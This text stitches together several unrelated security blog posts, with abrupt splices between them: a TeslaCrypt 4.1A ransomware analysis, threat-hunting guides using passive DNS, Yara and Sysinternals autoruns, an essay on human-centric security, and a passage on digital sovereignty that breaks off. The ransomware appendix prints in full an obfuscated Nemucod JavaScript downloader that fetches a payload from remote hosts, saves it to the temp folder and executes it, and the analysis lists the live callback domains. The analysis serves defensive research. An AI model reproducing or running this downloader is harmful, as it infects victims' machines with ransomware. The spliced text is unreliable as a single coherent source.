Even though the malware's ransom message claims that the encryption used is RSA-4096, this algorithm is not used in any way. Instead, files are encrypted with AES256 CBC. In the encryption function it first generates the various keys which uses standard elliptic curve secp256k1 libraries which is typical for bitcoin related authors. An example of these keys can be seen in memory in the hex view below detailing memory status during master key generation. Once the keys are generated, they are then saved in %USERPROFILE%\Documents\desctop._ini and %USERPROFILE%\Documents\-!recover!-!file!-.txt. If the malware detects that a file named "desctop._ini" already exists at the specified path, it will not start the key pair generation or encrypt any files because it already assumes that the files have already been encrypted.

EncryptionFunc.png

secp256k1 functions used for master key generation:

keygen.png

Generated Keys

Screen Shot 2016-04-20 at 10.36.27 AM.png

Memory during the Master key generation:

GeneratedKeys.png

desctop.ini

desctopini.png

-!recover!-!file!-.txt

RecoverFile.png

Callback Routine

If the binary successfully encrypts the targeted files on the host, it spins off a thread and initiates a callback routine that attempts HTTP POST requests to six different URIs:

loseweightwithmysite[.]com/sys_info.php

helcel[.]com/sys_init.php

thinktrimbebeautiful[.]com[.]au/sys_init.php

lorangeriedelareine[.]fr/sys_init.php

bluedreambd[.]com/inifile.php

onguso[.]com/inifile.php

The requests are formatted as such:

POST http://loseweightwithmysite[.]com/sys_info.php

UserAgent: Mozilla/5.0 (Windows NT 6.3 rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

*/*

data=550EF3E0F3BC2E175190FA31F0F440EC9FB7F1AA325D2C42645A173A1C19F6F14E291E1C6F3ADB48CFAAABB3EE79E98D43D3F227DB13D3BEFB

955ECAB1500D8C5F76DC27E141CA5EA1855D71C8CEC592702694AD29E2631BBB6AC79734C569F42897765D9E1E3A04DE9784A87

The "data" POST variable is used to transmit data that is used by the threat actor to track their victims. This data includes host configuration information, version information pertaining to the implant, a randomly generated bitcoin address (where the affected user is instructed to direct their ransom payment), and key data needed to initiate a recovery of the encrypted files. This information is placed in a query string format and will be subsequently encrypted and encoded prior to transmission in the POST request:

Sub=[Ping: hardcoded callback mode]&dh=[combination of public and private key data]&addr=[bitcoin address generated at runtime]&size=0&version=[4.1a: hardcoded TeslaCrypt version number]&OS=[OS build number derived from VersionInformation.dwBuildNumber]&ID=[821: appears to be a hardcoded value possibly used to further identify a particular variant]&inst_id=[user ID generated at runtime]

Provided below is a string with sample data:

Sub=Ping&dh=04803B73A04A81984A83DB117D8D2C46678A5C3B828E55D265B0A4413FC248194F26505A967943D9FF05A7B5EC7DBF981BDADEB7702D98EA

BA5D492B6429112FFC1478F386804A9CF31E38821425545563D7BCB9CC2BD46EA4FCAADD4BF473E6BD&addr=18px5E1cPWkEkT67TU14RgZ9g9dWbC3jfr&size=0&version=

4.1a&OS=7601&ID=821&inst_id=D19191ED8D504416

The query string will then be AES encrypted:

query string.png

An ASCII representation of the binary output of the AES encryption will then be written to memory:

binary output.png

This data will then be attached to the "data" POST variable and transmitted in the request.

If the implant successfully issues a POST request and receives a valid response from the callback server, the thread will terminate. The thread will also terminate if it does not receive a valid response after attempting one request to each of the callback servers.

Aside from the "Ping" mode (designated in the Sub query string variable), the binary also references a separate "Crypted" callback mode, though this mode does not appear to be accessible in this particular variant.

User Experience

The ransom information is displayed using 3 methods:

1) HTML page

2) text file

3) PNG image

These files will also be written to disk in nearly every directory on the file system.  The links for a real victim’s will reference the victim’s unique ID which facilitates payment tracking and decryption should the ransom be paid.

userex.png

HTML (-!RecOveR!-xdyxv++.Htm)

recovernp.png

TXT (-!RecOveR!-xdyxv++.Txt)

recover.png

PNG (-!RecOveR!-xdyxv++.Png)

Conclusion

TeslaCrypt 4.1A is indicative of the broader trend we’re seeing in ransomware. While the targeted, high-value targets dominate the press, ransomware is increasingly opportunistic as opposed to targeted. These randomized spam campaigns rely on infiltrating a very small percentage of targets, but are still extremely lucrative given their widespread dispersion. In addition, the shortened time-frame between variants also reflects the trends in ransomware over the last 6-12 months. The speed to update between variants is shrinking, while the sophistication is increasing. This makes reverse engineering the malware more onerous, including the use of deception techniques such as misleading researchers that RSA-4096 encryption is used when in reality it was AES-256. In short, not only does the spam campaign attempt to deceive potential targets, but TeslaCrypt 4.1A also aims to mislead and stay ahead of researchers attempting to reverse engineer it. Only four months into 2016, as our timeline demonstrates, this may very well be the year of the ransomware attack. These kinds of opportunistic attacks can be very lucrative and sophisticated, and should increasingly be on the radar of both high-value organizations as well as individuals.

Appendix

Email Header (Email originally forwarded from [redacted].org

Delivered-To: [redacted]@gmail.com

Received: by [redacted] with SMTP id t129csp1570097vkf;

       Mon, 11 Apr 2016 10:49:37 -0700 (PDT)

X-Received: by [redacted] with SMTP id g19mr11538193ote.175.1460396977496;

       Mon, 11 Apr 2016 10:49:37 -0700 (PDT)

Return-Path: <HallimondRandy164@zhongda89.com>

Received: from mail-oi0-f50.google.com (mail-oi0-f50.google.com. )

       by mx.google.com with ESMTPS id 9si7641149ott.222.2016.04.11.10.49.37

       for <[redacted]@gmail.com>

       (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);

       Mon, 11 Apr 2016 10:49:37 -0700 (PDT)

Received-SPF: softfail (google.com: domain of transitioning HallimondRandy164@zhongda89.com does not designate [redacted] as permitted sender) client-ip=[redacted];

Authentication-Results: mx.google.com;

      spf=softfail (google.com: domain of transitioning HallimondRandy164@zhongda89.com does not designate [redacted] as permitted sender) smtp.mailfrom=HallimondRandy164@zhongda89.com

Received: by mail-oi0-f50.google.com with SMTP id y204so196057727oie.3

       for <[redacted]@gmail.com>; Mon, 11 Apr 2016 10:49:37 -0700 (PDT)

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

       d=1e100.net; s=20130820;

       h=x-original-authentication-results:x-gm-message-state:message-id

        :from:to:subject:date:reply-to:mime-version;

       bh=+IHT+KX3SwGYMwaiqhwtBParNXFx58iS7BjXXX3f3hg=;

       b=aF7RbWAEZMTRaddOFbhKFi9ghacPytB5mK2/YwImzNr2GFAvOyVR6yfsOEk8B3XdKZ

        Oc1kESzLaBtRB2PBS5Se66Utxg4a6TBNAWQanuxMthDFUERgQgaA+xae+7uiKLMYrnJC

        rmdIqEuNJ31hq6EaBBHdSwmtBfSfR4q9s4uOZWCuPI+iIzGAW8aUOHxWVDiZDXJCJOA2

        D8AHo5/yUmosn0zFHUo6nThJF5KQKzgPPaYka9avNhFFXUYwXp9RjUKGN+2MDmoOYnWC

        YoYgxZs275cd7cI1hH27ESf60U8aSvjnhh6q5oTTZgfSdekFAhA+MyY7onvGomj4kzAZ

        ju1A==

X-Original-Authentication-Results: gmr-mx.google.com;       spf=softfail (google.com: domain of transitioning HallimondRandy164@zhongda89.com does not designate [redacted] as permitted sender) smtp.mailfrom=HallimondRandy164@zhongda89.com

X-Gm-Message-State: AOPr4FUtA2HQqGRu+GdZuu8wADNknK4b73v+HF33ILQuYoMSQUrg45myopzxVcSix38piF2Nek5YQwvPOL2fGuTPayrRew==

X-Received: by [redacted] with SMTP id 10mr7798207otm.47.1460396976918;

       Mon, 11 Apr 2016 10:49:36 -0700 (PDT)

Return-Path: <HallimondRandy164@zhongda89.com>

Received: from dsl-187-156-10-25-dyn.prod-infinitum.com.mx ()

       by gmr-mx.google.com with ESMTP id y20si1822157pfa.2.2016.04.11.10.49.36

       for <[redacted]@gmail.com>;

       Mon, 11 Apr 2016 10:49:36 -0700 (PDT)

Received-SPF: softfail (google.com: domain of transitioning HallimondRandy164@zhongda89.com does not designate [redacted] as permitted sender) client-ip=[redacted];

Message-ID: <[redacted]@[redacted].org>

From: =?UTF-8?B?UmFuZHkgSGFsbGltb25k?= <HallimondRandy164@zhongda89.com>

To: =?UTF-8?B?a2ZkaG5l?= <[redacted]@[redacted].org>

Subject: =?UTF-8?B?UkU6?=

Date: Mon, 11 Apr 2016 12:49:34 -0500

Reply-To: =?UTF-8?B?a2ZkaG5l?= <[redacted]@[redacted].org>

MIME-Version: 1.0

JavaScript downloader (Nemucod) 0eec3406dfb374a7df4c2bb856db1625 Contents:

var fuXYgBL="WS";

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!"".replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return"\\w+"};c=1};while(c--){if(k[c]){p=p.replace(new RegExp("\\b"+e(c)+"\\b","g"),k[c])}}return p}("0 1=2;",3,3,("var|XqTfkKcqqex|"+fuXYgBL+"cript").split("|"),0,{}))

function zrISJA(jjcxUlc) {

return "hrsaSzYzlaFzEc";

}

function NZwY(FmoOw,RNqcI) {

var FiPpmI=["ohRoOlCB","\x77"+"\x72\x69","\x74\x65"];FmoOw[FiPpmI[1]+FiPpmI[2]](RNqcI)

}

function jEiG(EJmRb) {

var fVxQNBM=["\x6F\x70"+"\x65\x6E"];EJmRb[fVxQNBM[421-421]]();

}

function wYGJ(HhQGZ,cpllk,bDxjN) {

pHah=HhQGZ;

//QVWzPmJWZVSK

pHah.open(bDxjN,cpllk,false);

}

function yrlc(ikMyP) {

if (ikMyP == 1077-877){return true;} else {return false;}

}

function Sgix(UFQtP) {

if (UFQtP > 155282-909){return true;} else {return false;}

}

function tMlUn(cpqParen,kwDT) {

return "";

}

function UAUJ(jNuMk) {

var nLaSHyDA=["\x73\x65"+"\x6E\x64"];

jNuMk[nLaSHyDA[0]]();

}

function uOFx(JEEUB) {

return JEEUB.status;

}

function eBRRZTo(higo,fYcgC) {

ozMRhEh=[];

ozMRhEh.push(higo.ExpandEnvironmentStrings(fYcgC));

return ozMRhEh[0];

}

function iIeFEEW(eArZ) {

var buDOHaq=("\x72\x65\x73\x70\x6F\x6E*\x73\x65\x42\x6F\x64\x79").split("*");

return eArZ[buDOHaq[0]+buDOHaq[1]];

}

function Ybru(IUgdY,FzFmU) {

var usIIR=("\x54\x6F\x46*\x69\x6C\x65*\x73\x61*\x76\x65").split("*");

var gqfLYpEf=usIIR[344-344];

var FAebRf=usIIR[987-985]+usIIR[309-306]+gqfLYpEf+usIIR[522-521];

var jnEpuJY=[FAebRf];IUgdY[jnEpuJY[788-788]](FzFmU,609-607);

}

function LZZFymKZ(IfJ) {

return IfJ.size;

}

function NpkPo(KefYQK) {

var WEgJ=["\x70\x6F\x73\x69\x74\x69\x6F\x6E"];

return KefYQK[WEgJ[904-904]]=114-114;

}

function MnruB(qpl,HKtRA) {

var nweM=["\x73\x70\x6C\x69\x74"];

return qpl[nweM[0]](HKtRA);

}

function FZyc(WHpHj) {

eTtPIgs=XqTfkKcqqex.CreateObject(WHpHj);

return eTtPIgs;

}

function HrwpH(bNbUPp) {

var nviK=bNbUPp;

return new ActiveXObject(nviK);

}

function OixB(ocfZi) {

var DYsBj="";

T=(159-159);

do {

if (T >= ocfZi.length) {break;}

if (T % (686-684) != (803-803)) {

var WyZLN = ocfZi.substring(T, T+(620-619));

DYsBj += WyZLN;

}

T++;

} while(true);

return DYsBj;

}

var dx="N?B f?z k?V pgWrmeYeAtJiInNgSsbyQojuVnZgNqvqs.7c1oGmb/18s05GQdMXYDc?r EgAoyo4gUlee1.Ycgommq/b8l0XGPdqXkDk?3 S?";

var HC = OixB(dx).split("");

var uzOjdW = ". BrlWfZ e LgzYusBg xe GdXD".split("");

var t = [HC[0].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[1].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[2].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[3].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[4].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4])];

var vvT = wYUkzixLb("hytd");

var iWO = HrwpH(OXbXCAjC("LVLuz"));

var ZeDUTR = ("CWszPMX \\").split("");

var Klbb = vvT+ZeDUTR[0]+ZeDUTR[1];

lSfnmZ(iWO,Klbb);

var xSD = ("2.XMLHTTP BeScUOk kmeQd XML ream St ZFRDIeEL AD aLEesOX O nFcW D").split("");

var ZL = true  , JYcj = xSD[7] + xSD[9] + xSD[11];

var uo = FZyc("MS"+xSD[3]+(65368, xSD[0]));

var Qie = FZyc(JYcj + "B." + xSD[5]+(877821, xSD[4]));

var bfO = 0;

var Z = 1;

var LaxMJRW = 570182;

var n=bfO;

while (true)  {

if(n>=t.length) {break;}

var sp = 0;

var Ijm = ("ht" + " VMOmvKy tp zoysd bcAmbjuL :/"+"/ mxykXfd .e EfmSc x nWCKLh e G nWQWoZV E BulesSto T TRoA").split("");

try  {

var LReHyZt=Ijm[134-129];

var xGARQ=Ijm[801-801]+Ijm[473-471]+LReHyZt;

wYGJ(uo,xGARQ+t[n]+Z, Ijm[12]+Ijm[14]+Ijm[16]); UAUJ(uo);

if (yrlc(uOFx(uo)))  {     

jEiG(Qie); Qie.type = 1; NZwY(Qie,iIeFEEW(uo)); if (Sgix(LZZFymKZ(Qie)))  {

AQVoAgj=/*nrRH29YFVZ*/Klbb/*oVch38RB07*/+LaxMJRW+Ijm[926-919]+Ijm[407-398]+Ijm[742-731];

sp = 545-544;NpkPo(Qie);Ybru(Qie,AQVoAgj);

if (293>50) {

try  {pGMyLfHuk(Klbb+LaxMJRW+Ijm[682-675]+Ijm[590-581]+Ijm[781-770]);

}

catch (gl)  {

};

break;

}

}; Qie.close();

};

if (sp == 1)  {

bfO = n; break;

};

}

catch (gl)  {

};

n++;

};

function lSfnmZ(vRNP,BFDQSl) {

try {vRNP.CreateFolder(BFDQSl);}catch(yMBcZQ){};

}

function pGMyLfHuk(sjrheBIoAMu) {

var FTcKLVxo = MnruB("sqjR=Ws=SYmMxdi=c=LkNYHr=ri"+"=pt=PAiRubzP=.S=ZWNin=he=QKIpiY=l"+"l=zZtYtCg"+"=YQvYvTrd=VHTU", "=");

var zfRKdfpc = FZyc(FTcKLVxo[271-270] + FTcKLVxo[136-133] + FTcKLVxo[214-209] + FTcKLVxo[977-971] + FTcKLVxo[641-633] + FTcKLVxo[928-918]+FTcKLVxo[368-356]);

jxjZabos(zfRKdfpc,sjrheBIoAMu);

}

function/*OAJC*/jxjZabos(TRAYg,GOyvuX) {

var RtpGce= ("JSaOOwisDoL;\x72;\x75;\x6E;JgVDLJItskks").split(";");

var xFr=RtpGce[992-991]+RtpGce[563-561]+RtpGce[696-693];

var VeXb=/*vyYh*/[xFr];

//rATi

TRAYg[VeXb[251-251]](GOyvuX);

}

function wYUkzixLb(rjwBK) {

var kuglrOp = "njDqTN*KHD*pt.S"+"he"+"ll*PzPJjXp*Sc"+"ri*";

var kuMsE = MnruB(kuglrOp+"CLPW*%T"+"E*MP%*\\*yIkarFYNo*nEyAhd*RsGedfF*apQUP", "*");

var TbT=((117-116)?"W" + kuMsE[428-424]:"")+kuMsE[110-108];

var tn = FZyc(TbT);

SvDMQR=kuMsE[255-249]+kuMsE[302-295];

return eBRRZTo(tn,SvDMQR+kuMsE[855-847]);

}

function OXbXCAjC(OceU) {

var ziaeORqzQs = "Sc WGsgmuy r NzOtRcclv ipt"+"ing HjDZRDm uMM ile ybhLPUOzWBGhng";

var fzryoIu = MnruB(ziaeORqzQs+""+"Sys"+"tem Bm hmjQH Obj vQPPEr ect fokQapQ ACJDF", "");

return fzryoIu[0] + fzryoIu[2] + fzryoIu[4] + ".F" + fzryoIu[7] + fzryoIu[9] + fzryoIu[12] + fzryoIu[14];

}

Screen Shot 2016-04-20 at 2.30.28 PM.png

As security approaches reliant on known indicators of compromise (IOCs) are increasingly failing, “assume breach” has become a common expression in the industry. Far too often, intrusions go undetected until an external party discovers a breach and notifies the organization. Instead of relying on signature-based solutions or visits from a third-party to learn of a problem, network defenders need to “assume breach” from unknown adversaries who are already active within the enterprise. Given the increasingly targeted and personalized nature of attacks, network defenders must expand beyond searching for known IOCs and hunt for unknown breaches within their networks. This systematic pursuit of unknown adversaries is known as cyber adversaries hunting.

Hunting is not without its challenges. A relatively new and ill-defined concept, some believe hunting is outside their personnel or resource capabilities. Defenders need powerful tools to sift through mountains of data to rapidly detect and deal with a compromise. A full-featured hunt platform dramatically increases a hunter’s power, but security budgets are limited and organizations cannot always invest in every promising technology. Fortunately, there are several ways to hunt “on the cheap.”

At this month’s SANS Threat Hunting and Incident Response Summit, Endgame addressed some of these misperceptions and described ways security professionals can begin hunting without making large, up-front investments. This first of three related posts addresses how to get started hunting on the cheap on your network.  The second post will next address the various open source ways to cheaply analyze and identify high-order trends on networks, and the final post will conclude with a discussion of some easy ways to begin hunting on your hosts.  

Limitations of IOC Search

Security at the network level has traditionally involved searching for IOCs, such as known bad domains, blacklisted IPs and sometimes CIDRs, or has relied on using tools such as Snort or Bro to search for signatures associated with malicious traffic. With malicious tradecraft rapidly evolving and adversary infrastructure becoming less static and harder to distinguish from legitimate services, using network IOCs to detect threats has become harder and less effective. In other words, network IOCs are quickly obsolete. Threat actors often monitor their network assets, and as soon as they are detected by a blocklist, they move on to a different endpoint. Some attackers segment infrastructure on a per-target basis, reducing the value of global knowledge of the associated IOCs.

Cloud computing has only accelerated these challenges associated with IOC search. It is very easy for an adversary to get IP addresses from one of many hosting providers. Similarly, new ccTLDs and ICANN tlds managed by registrars that require little or no background check make this even easier and are cheaper or free, and registrations are stealthy due to WHOIS privacy services.

Because of all this and more, a smarter approach is required wherein, instead of chasing the past and searching for the known bad, network defenders hunt for patterns and signals that reveal the unknown bad. Once previously unknown indicators of malicious activity are identified, organizations can activate their standing incident response procedures.

Hunting with Passive DNS

Passive DNS is very good at capturing such signals and patterns in a concise and structured way. Passive DNS is the data collected by passively capturing inter-DNS traffic to reassemble DNS transactions. Florian Weimer proposed this technique at the 17th FIRST conference in 2005 to slow down botnet propagation. Since then, a number of security organizations have started collecting passive DNS by placing DNS sensors on geographically diverse networks and analyzing the resulting data to generate threat intelligence. In today’s threat environment, Passive DNS can be immensely useful in driving threat hunting.

Passive DNS sensors, in essence, capture DNS traffic – UDP packets to and from port 53 (DNS) – and reassemble all the messages into a single record containing query and responses. We have experimented with two open source sensors:

• passiveDNS
• sie-dns-sensor

We have an option to collect only the Iterative DNS queries (shown here in green) or collect all the DNS traffic.

Picture1.png

In our previousposts, we focused on hunting on the cheap by collecting and analyzing data on the network.  However, hunting on networks is not the only option.  In fact, a richer set of data to find unknown malicious activity in your enterprise is available by looking on and across your hosts and servers.  This can include running processes, active network connections, listening ports, artifacts in the file system, user logs, autoruns, and more.  With all this data, the tough part is deciding what to focus on as you start your hunting process.  Once you’ve determined areas of focus, you can collect data, look for suspicious outliers, and investigate further.  In this final post in the series on how to get started with hunting, we’ll describe some tips for hunting on your hosts using freely available tools.  These techniques are simplified first steps to help you find evidence of malicious activity on your hosts - with or without signatures and IOCs. You can do this for free, while still getting a taste of the power of hunting.

Searching with Indicators

A common starting point is to look for IOCs (Indicators of Compromise) across your hosts.  While many call this hunting, it’s really just searching. And not just searching, but searching for indicators that are fleeting and constantly morphing.  In fact, the useful lifespan of an IOC is declining due to trends in adversary behavior.  Most security professionals already know this, and it was underscored in Verizon’s DBIR released last week.  That said, due diligence still necessitates searching across your systems for known IOCs, which remains a useful first step.  The following are several websites that publish freely available threat intelligence information in various forms.

Screen Shot 2016-05-04 at 8.15.16 AM.png

One of the more resilient and useful IOCs to use on your hosts is a well-written Yara signature.   Yara applies binary patterns and sequences to detect and categorize badness on your system. Yara is similar to Grep, which employs a list of known patterns and searches for matches. But Yara does much more, scanning both files on disk and memory for binary patterns.  A good malware analyst will in many cases be able to craft a Yara signature to detect not only identical copies of a piece of malware but also variants of the tool, new versions of the tool, or even follow-on tools in the same malware family by focusing on unique patterns in the binary which are likely to survive through code reuse.  For this reason, one of our favorite open source tools for identifying malware is Yara.  And even better, it’s free.

Yara in Action

Yara rules are a great way to structure a known malicious pattern based on textual or binary sequences.  The following is a snippet of a robust Yara signature that detects Mimikatz, a tool used by adversaries and red teams to extract Windows credentials from memory. This particular signature was actually written by the author of the Mimikatz tool itself.

mimikatz2.png

You can run Yara locally but it is even more powerful when run remotely on a single machine or across multiple machines.  Powershell can facilitate this. Running Yara remotely via Powershell can be done in a few simple steps, assuming you have credentials to the hosts and Powershell remoting is enabled.  

Transfer Yara binary to target machine w/ native Windows functionality

PS> copy yara.exe \\TARGET-HOST\C$\TEMP\yara.exe

Transfer rules

PS> copy rules.yara \\TARGET-HOST\C$\TEMP\rules.yara

Execute scan w/ Invoke-Command

PS> Invoke-Command -ComputerName TARGET -ScriptBlock { c:\TEMP\yara.exe c:\TEMP\rules.yara c:\targetdir } -credential USER

This will have the effect of running a set of Yara rules (rules.yara in the above example) on a given directory (c:\targetdir in the above example).  It can easily be extended to search across the entire disk and across many hosts and identify exactly where a binary matching your signature exists on the hosts.  

This is very powerful, but is not without shortcomings. As we all know, signatures are brittle. This not only leads to false positives if the Yara signature is poorly written, but with the rapid pace of change of malware, rules need to be constantly updated or they become obsolete. This can be extremely resource and time intensive.  However, compared to searching for hashes, filenames, and other artifacts which are commonly used in IOC search, using Yara can be a more powerful and resilient approach.  

Hunting without Intelligence

Even if you have IOCs as a starting point, IOCs are not good enough to find all possible malicious activity in your enterprise.  This is where hunting comes into play.  Hunting is the systematic and proactive pursuit of unknown threats. This entails the identification of patterns and suspiciousness in your data that may indicate badness on your network.  As mentioned above, there are many places you can hunt on the host.  We suggest starting with autoruns.  Adversaries usually want to persist across reboots on at least some systems in your network.  Doing so is critical to entrenchment in your network for the long haul.

Autorun items are a good place to look for outliers and suspiciousness for several reasons. Autoruns tend to be relatively consistent across a network rendering pure outlier analysis feasible.  Any autoruns showing up in only in a handful of places may indicate badness, but these can be hard to find given all of the locations that need to analyzed. Additionally, files must be dropped to disk for autorun persistence. Some actors do obvious things you can treat as suspicious - for example, executing out of the %TEMP% folder with an obviously strange filename.  In many environments, malicious autoruns stand out and can be detected by a good hunter.  Once a malicious autorun is detected, deeper analysis can commence to confirm and deal with a compromise.

Collecting Autoruns

There are over one hundred places where an adversary can persist on a modern Windows machine.  This includes startup registry keys, services, drivers, browser and Office add-ons, and many other less well-known places and methods.  Beyond the sheer number of locations, grabbing the necessary data for analysis is non-trivial due to the way data is formatted by the operating system.  Sysinternals (maintained by Microsoft) created a tool called Autoruns to tackle this problem, free of charge.  While not perfect, this tool does a great job pulling in the right data for most autorun items on a Windows system, hashes them, and allows for some basic enrichment (such as submitting to VirusTotal).

We recommend using the command line version of autoruns (autorunsc.exe) in tandem with Powershell for remote gathering of autoruns from your systems.  This can be done in a few steps:

Transfer Autoruns binary and the required msvcr100.DLL to target machine w/ native Windows functionality

PS> copy autorunsc.exe \\TARGET-HOST\C$\TEMP\autorunsc.exe

PS> copy msvcr100.dll \\TARGET-HOST\C$\TEMP\msvcr100.dll

Execute program w/ Invoke-Command (w/ optional output)

PS> Invoke-Command -ComputerName TARGET -ScriptBlock { c:\TEMP\autorunsc.exe –a (??) –h (>> c:\TEMP\autoruns-output.txt) } -credential USER

Collect output

PS> copy \\TARGET-HOST\C$\TEMP\autoruns-output.txt c:\directory

As before, this can be extended to gather data from many systems across your network.  

Analyzing Data

We recommend submitting all autorun hashes to VirusTotal as the first step in your investigation.  Anything that comes back as malware is...well….malware and you should prioritize these for additional investigation.  Fortunately, this can be done inline with Sysinternals, or you can easily build something with the VirusTotal API.

So you’ve collected all your autoruns and determined if any are known to be malware.  That’s a good step, but you shouldn’t stop there.  You need to truly hunt for unknown badness and look for anomalies in the data.  There are many ways to do this, but we’d recommend first stacking by hash and looking for outliers that don’t match the general population of the data. To do this, pull hashes of all autorun items as described earlier, and then list them out as HOST:HASH.   The following provides a concrete example of how this might look (note that you will have many more autoruns for each machine in a real environment).

Screen Shot 2016-05-04 at 9.26.20 AM.png

An easy next step is to delineate the output by colon (:)

# cat hash-map.txt | cut -d’:’-f2 > hashes.txt

And then reduce and sort by the number of occurrences across your systems to quickly identify the anomalies.

Screen Shot 2016-05-04 at 9.28.57 AM.png

In this example, we had 42 systems.  Many autoruns appeared on each system.  A couple only appeared on one.  These outliers could be suspicious.  A reasonable first step would be to look at the detailed output of autoruns from the host(s) where the outlier was seen.  You may note a strange description, strange filename, strange autostart location, or more.   The following example shows a binary named “svcchost.exe” executing on startup from C:\WINDOWS\temp:

windows1.png

The next example shows a binary executing on startup from the recycling bin with a one-character filename, both definitely signs of something strange going on.

windows2.png

These are not the only suspicious things you can note in autoruns data.  There are many more approaches.  You can take this much further, for example, by indexing all of the data in Elasticsearch (another freely available capability) to allow for fast search and exploration capabilities across your data to include regularly collecting autoruns from your endpoints and looking for changes in autoruns over time.  And, of course, there are many endpoint artifacts which are prime locations for hunting.  A true hunt effort should expand in scope to cover user logs, processes, network information, and more.  

Summary

Over this three-part series of posts, we’ve provided several approaches using only free software to help you begin hunting on both networks and hosts.  Hunt techniques are not reliant on ephemeral and constantly morphing signatures or IOCs, thereby providing ways to better match the sophistication of modern adversary techniques.  Every organization and researchers should begin proactively hunting to detect unknown threats inside the network.  From passive DNS to autoruns, we’ve covered a lot of ground and described a variety of free and powerful approaches for hunting on hosts and networks. Have fun!

It’s an all-too familiar story: A company reports a data breach,and there’s an immediate blame game. Inevitably, we point the finger at humans — the person who responded to that phishing email ( a fake message that a bad actor uses to gain access to a broader set of data or a network) or who unknowingly clicked on ransomware “malvertising” (a fake ad that, when clicked, releases malware that locks digital files and demands a ransom to release the data).

Humans, we’re told, are the weak link of security. That was a key theme in the Verizon Data Breach Investigations Report released last week. After all, ransomware and phishing are effective because they’re able to so skillfully target human vulnerabilities.

Here’s the problem. Human vulnerabilities will always exist. This old way of thinking — that people are the problem, and we can somehow change entrenched human behavior — isn’t getting us anywhere. Even with improved training and education, given the sophistication of the attacks, human vulnerabilities will persist. So we need to rethink this paradigm: What if we started viewing human-computer interaction as a means toincrease security? How could we use what humans do best — critical thinking and contextualization- and combine it with what computers do best — automation and scale — to make us all safer?

We can start with a more “human-centric” approach to security — in other words, designing products and solutions with human strengths and vulnerabilities in mind. Here are three examples of ways that this approach could make us all more secure:

1) Alert fatigue — Monitoring systems with an overabundance of alerts aren’t just ineffective but lethal. With so many low priority alerts, users simply ignore the alerts or have little ability to differentiate between those high and low priority alerts. And given the vast amount of data, it’s impossible to respond to every single alert. For instance, at Target , the security team received and ignored alarms — in part because there were just so many. Many have pointed to this as human fallacy, but in reality it is a combination of human-computer interaction failure. With so many alerts, very few teams have the time or capabilities to sift through in depth every alert that is received. Even with the best judgment, systems with little ability to inform and prioritize alerts are simply ignored. In contrast, monitoring systems that integrate automation with human-driven domain expertise and prioritization could be a first step at more precise and relevant alerts, decreasing dwell time and expediting incident response.

2) Data exploration — Analyzing and protecting big data is getting more and more complicated as the amount of data that we generate increases, and as attackers begin to not only steal data, but to manipulate it, too. We need to create faster and more effective ways to explore the data required to analyze and detect intrusions, especially in the face of an industry-wide talent shortage. In short, there is too much data and too few people to analyze it, and this problem is only growing. So, how do we explore data faster and more efficiently? Cognitive methods aimed not just at supporting human hypotheses, but also proactively surfacing key insights will be an essential component for improved security. Machine learning and other forms of automation help scale these capabilities, and provide much faster insights than is possible through human analysis alone. For instance, in the commercial realm, cognitive computing helps answer customer and supplier questions, or in finance can identify optimal investment portfolios. These technologies help remove the arduous processes of data structuring and merging, but also provide optimized analytics so humans can devote their time to the important analysis, contextualization, and interpretation of the data required to detect and contain attacks. These tools do not replace the analyst, but provide greater, faster, and more scalable analytic capabilities to help prioritize and gain insights from data, greatly impacting detection and prevention of anomalous behavior. Automation and advanced data analytics also helps security teams optimize their resources, enabling greater detection capabilities of the seemingly infinite data with finite resources.

3) Mind the C-Suite Gap: — It’s as high-stakes as communication struggles get: security teams often are unable to put their work and issues into language that CEOs can understand. When they can’t communicate effectively to company leaders, their warnings are disregarded, leading to devastating consequences. The C-suite increasingly bears the brunt of breaches — leading to turnover of CEOs and government leaders — but they may not grasp the complexities or resources required for security. Data visualization can bridge that gap. Think of it as the storytelling medium, conveying complex data in a consumable manner. Intuitive, interactive, and concise data visualization can express multifaceted concepts in a much more efficient manner than showing a presentation full of log data.

We hear a lot about changing human nature as the key to digital security. While education and training are essential, human behavior is nearly impossible to change and isn’t a silver bullet. Instead, let’s focus on building technologies that leverage the best parts of computers and humans working together. It could go a long way to address the increasingly complex challenges in the digital domain.

This post was previously published by New America.

What do Yeti, ICANN, and BRICs have in common? They are emblematic of the growing international jockeying for power to shape the global digital order. Absent a global cyber regime, nation-states continue to pursue self-interested international and domestic policies, which has produced the evolving movement toward digital sovereignty.

While an open and free internet is consistent with many states' interests, this is far from universally true. Many states' policies are more so reminiscent of beggar-thy-neighbor trade policies, wherein states pursue their own self-interested policies that worsen the situation of other states. To counter this growth of autarkic digital policies, there have been silent, but potentially impactful movements by the US to slowly assert a multi-stakeholder model. If history is any guide, it will likely take a major shock to the system to truly embed the norms the US continues to push forth. Until then, we’re likely to continue to see states asserting their digital sovereignty in ways that not only impact global connectivity, but also have strong implications on international commerce, privacy, and security.

A Beggar-Thy-Neighbor Digital World Order

The latest wave of digital sovereignty is disguised as a push for privacy. China is leading the way in this realm, balancing domestic censorship, data leaks, and a quiet but growing crackdown on foreign tech companies. This push for cyber sovereignty is instigated by the need to control information and limit foreign competition. The Cyberspace Administration of China (CAC) – China’s Internet watchdog – released an announcement in January soliciting input on a proposal to increase censorship of news outlets, emphasizing privacy protection of personally identifiable information. The CAC also leads the push for more regulations on international companies, demanding source code and other IP as the price to pay for access to China’s enormous market. The CAC controls censorship and has been blamed for offensive attacks against US companies, including a public allegation by GreatFire.org, a non-profit organization fighting for online freedom in China. This is the same organization that was at the center of the GitHub attacks in April 2015.

